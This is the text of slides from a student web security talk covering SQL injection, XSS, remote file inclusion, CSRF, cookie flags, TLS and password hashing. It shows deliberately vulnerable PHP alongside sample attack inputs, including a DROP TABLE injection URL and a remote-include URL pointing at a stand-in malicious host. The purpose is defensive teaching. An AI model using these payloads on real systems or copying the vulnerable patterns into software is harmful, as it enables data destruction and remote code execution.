RCOS Security Talk

YOU SUCK at security

1. Your attackers are better

Do NOT ROLL YOUR OWN

1.  Open-source 2.  Audited 3.  Active community

2. Security is hard

No. Seriously.

5,000 CVEs /yr

3. Dont trust input

<?php! $query = "SELECT * FROM users WHERE username='". "$_GET[’user']."'";
! $result = mysql_query($query);!

/derp.php?user=x’ DROP TABLE users;--!

/derp.php?user=x’ DROP TABLE users;--! http://xkcd.com/327/

<?php! $stmt = $dbh->prepare("SELECT FROM users WHERE username=?");! $stmt->execute(array($_GET['user']));! Use
Parameter Binding

<div><?php echo $row['username']; ?></div>! XSS. Inject javascript

<html>! <body>! "<form method="POST" action="/users/add">! " "<input type="text" name="username">! "
"<input type="password" name="password">! " "<input type="hidden" name="isAdmin" value="true">! " "<button type="submit">Create user</button>! "</form>! </body>! </html>! Unexpected Input. Sneaky DOM edit

<?php! include('header.php');! include($_GET['page']);! include('footer.php');! ! /index.php?page=http://sketchy.su/BadTime.php! Remote Include.

Sanitize all input

Blacklist Only use if you know all cases Less restrictive
on user

Whitelist Best security Very restrictive

Protip Markdown Google Caja

4. Protect your cookies

Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b! Bad Session

Set-Cookie: SESSIONID=S8d2d1ffd5cb37209ef71982b80f16d7b; ! "HttpOnly; secure! GOOD Session Send over SSL
only HTTP access only Prevents XSS theft

5. No Outsiders

CSRF sucks

Block it. Require a unique token per request X-Frame-Options: Block

6. Encrypt everything

Too expensive? startssl.com

Self-sign Dev Environment openssl req -x509 -newkey des3:2048 -keyout key.pem
- out cert.pem -days XXX!

Verify All CERTS <?php! // cURL supports SSL verification! curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, true);! ! //File_get_contents does NOT! file_get_contents($url);!

Verify Servers Use server certs to verify servers to one
another

Harden SSL Disable SSL2 Disable TLS1.0 compression Disable weak ciphers
(DES, RC4) h"p://blog.cloudﬂare.com/staying-‐on-‐top-‐of-‐tls-‐a"acks

Force SSL

7. Use Slow Hashes

No Plaintext Passwords Just don’t.

Hash + Salt MD5 SHA1 … HMAC + bcrypt

Wait. Explain. We want to be slow.

Method password = bcrypt(HMAC(password, local_salt), bcrypt_salt)!

Salt-free db Store salt on ﬁle system Two attacks needed
Or both

Migrate. Maintain two hashes Rehash on successful login Purge old
hashes after x duration

Lost Passwords Hash a one-time login ID

8. Remember the basics

Random IV Having the IV be public is okay

Wait for entropy /dev/random waits /dev/urandom non-blocking

Use ECC NSA-Proof * * As far as we know,
at least…

Passwordless Login Use keypairs for server access

9. Use libraries

Crypto NaCL SJCL Crypto++ QCA

Web Frameworks Python: Django, Flask PHP: Laravel, Phalcon Go: Revel
Node: Sails Java/Scala: Play Ruby: Rails

Assume nothing Always research security best practices

Questions? Complaints?

Im hiring Sysadmin.union.rpi.edu/apply

RCOS Security Talk

RCOS Security Talk

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